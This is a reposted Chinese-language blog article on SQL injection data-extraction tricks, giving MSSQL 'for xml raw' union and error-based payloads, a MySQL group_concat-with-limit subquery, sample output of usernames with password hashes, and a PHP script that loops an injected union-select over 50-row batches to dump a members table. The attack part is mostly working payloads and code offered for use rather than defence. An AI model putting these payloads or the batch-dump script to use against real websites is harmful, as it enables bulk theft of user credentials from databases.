也想出现在这里? 联系我们

SQL注入中获取数据的一些技巧分析

作者 : 小编 本文共2493个字,预计阅读时间需要7分钟 发布时间: 2021-06-15 共1.2K人阅读
也想出现在这里? 联系我们

一、MSSQL获取数据: 用的比较多的就是for xml raw了,MSSQL2000都支持的! 注入中显示数据的两个办法均可以使用,一是union select、二是显错,以MSSQL2005为例:

复制代码

代码如下:

select username from members where 1=2 union select top 3 username from members for xml raw

返回(如果username重复,自动去除重复值):

复制代码

代码如下:

<row username=\”admin\”/><row username=\”Anna\”/><row username=\”oldjun\”/> select username from members where 1=(select top 3 username from members for xml raw)

返回:

复制代码

代码如下:

Msg 245, Level 16, State 1, Line 1 Conversion failed when converting the nvarchar value \'<row username=\”admin\”/><row username=\”Anna\”/><row username=\”oldjun\”/>\’ to data type int.

当数据量很大,无webshell,有注入点可以利用的时候,for xml raw 是不错的获取批量数据的办法!为了不让返回的数据量过大,top可以限制小一点,比如100,另外要附加脚本或者程序对返回值进行处理。 二、MYSQL获取数据: 用的比较多的是group_concat,mysql>=4.1支持该函数,可能很多人知道了,但我看过的文章几乎都是用来读table_name或者column_name的,毕竟表名、列名的数据量不大,所以用起来很方便,可以一下子把所有表名或者所有列名读出来。不过用group_concat批量注入读数据的很少,虽然可以提高效率,增快速度。 因为group_concat有个瓶颈,当group_concat与limit连用时,limit不起作用(也许是先执行group_concat),于是group_concat一次性读出很多条数据(取决于group_concat_max_len,默认1024),而一般网站数据量都是很大的。一旦不能与limit连用,怎么获取之后的数据呢? 其实简单变动下SQL语句即可以实现group_concat与limit连用:

复制代码

代码如下:

select concat(group_concat(A.username separator 0x7c7c7c),0x3a,group_concat(A.password separator 0x7c7c7c)) from (select * from members limit 0,3) A

返回: guest|||admin|||oldjun:084e0343a0486ff05530df6c705c8bb4|||21232f297a57a5a743894a0e4a801fc3|||ad392a36c512176545900fd05772cbc6 于是简单做下字符串处理,前三条数据就出来了。为了返回不至于数据量过大,单次查询100以下一般可以接受的。 三、给出部分示例代码(mysql group_concat 50条数据每次):

复制代码

代码如下:

<? if ($argc < 3) { print_r(\’ +—————————————————————————+ Usage: php \’.$argv[0].\’ start end(end: count/50) Example: php \’.$argv[0].\’ 0 9999 Author:oldjun(http://www.oldjun.com) +—————————————————————————+ \’); exit; } error_reporting(7); ini_set(\’max_execution_time\’, 0); $start = $argv[1]; $over = $argv[2]; for($i=$start;$i<=$over;$i++){ getdata($i); } function getdata($i) { $resp = send($i); if ($resp){ preg_match(\’#<<<<<<<<<<([^\\n]+):([^\\n]+)>>>>>>>>>>#\’, $resp, $value); if($value){ $namearr=explode(\”|||\”,$value[1]); $passarr=explode(\”|||\”,$value[2]); for($j=0;$j<50;$j++){ echo $namearr[$j].\”|||\”.$passarr[$j].\”\\r\\n\”; } unset($namearr); unset($passarr); }else{ echo $resp; echo \”value error,return $i\\r\\n\”; getdata($i); } } else{ echo \”resp error,return $i\\r\\n\”; getdata($i); } } function send($i) { $limit=$i*50; //发送数据包代码省略 //注入语句示例:union select 1,2,3,4,CONCAT(0x3C3C3C3C3C3C3C3C3C3C,group_concat(A.username separator 0x7c7c7c),0x3a,group_concat(A.password separator 0x7c7c7c),0x3E3E3E3E3E3E3E3E3E3E) FROM (select * from members limit \”.$limit.\”,50) A# } ?>
1. 本站所提供的源码模板(主题/插件)等资源仅供学习交流,若使用商业用途,请购买正版授权,否则产生的一切后果将由下载用户自行承担,有部分资源为网上收集或仿制而来,若模板侵犯了您的合法权益,请来信通知我们(Email: rayer@88.com),我们会及时删除,给您带来的不便,我们深表歉意!
2. 分享目的仅供大家学习和交流,请不要用于商业用途!
3. 如果你也有好源码或者教程,可以到用户中心发布投稿,分享有金币奖励和额外收入!
4. 本站提供的源码、模板、插件等等其他资源,都不包含技术服务 请大家谅解!
5. 如有链接无法下载、失效或广告,请联系站长,可领回失去的金币,并额外有奖!
6. 如遇到加密压缩包,默认解压密码为"www.zyfx8.cn",如遇到无法解压的请联系管理员!
本站部分文章、资源来自互联网,版权归原作者及网站所有,如果侵犯了您的权利,请及时联系我站删除。免责声明
资源分享吧 » SQL注入中获取数据的一些技巧分析

常见问题FAQ

免费下载或者VIP会员专享资源能否直接商用?
本站所有资源版权均属于原作者所有,这里所提供资源均只能用于参考学习用,请勿直接商用。若由于商用引起版权纠纷,一切责任均由使用者承担。更多说明请参考 VIP介绍。
织梦模板使用说明
你下载的织梦模板并不包括DedeCMS使用授权,根据DedeCMS授权协议,除个人非盈利站点外,均需购买DedeCMS商业使用授权。购买地址: http://www.desdev.cn/service-dedecms.html

发表评论

Copyright 2015-2020 版权所有 资源分享吧 Rights Reserved. 蜀ICP备14022927号-1
开通VIP 享更多特权,建议使用QQ登录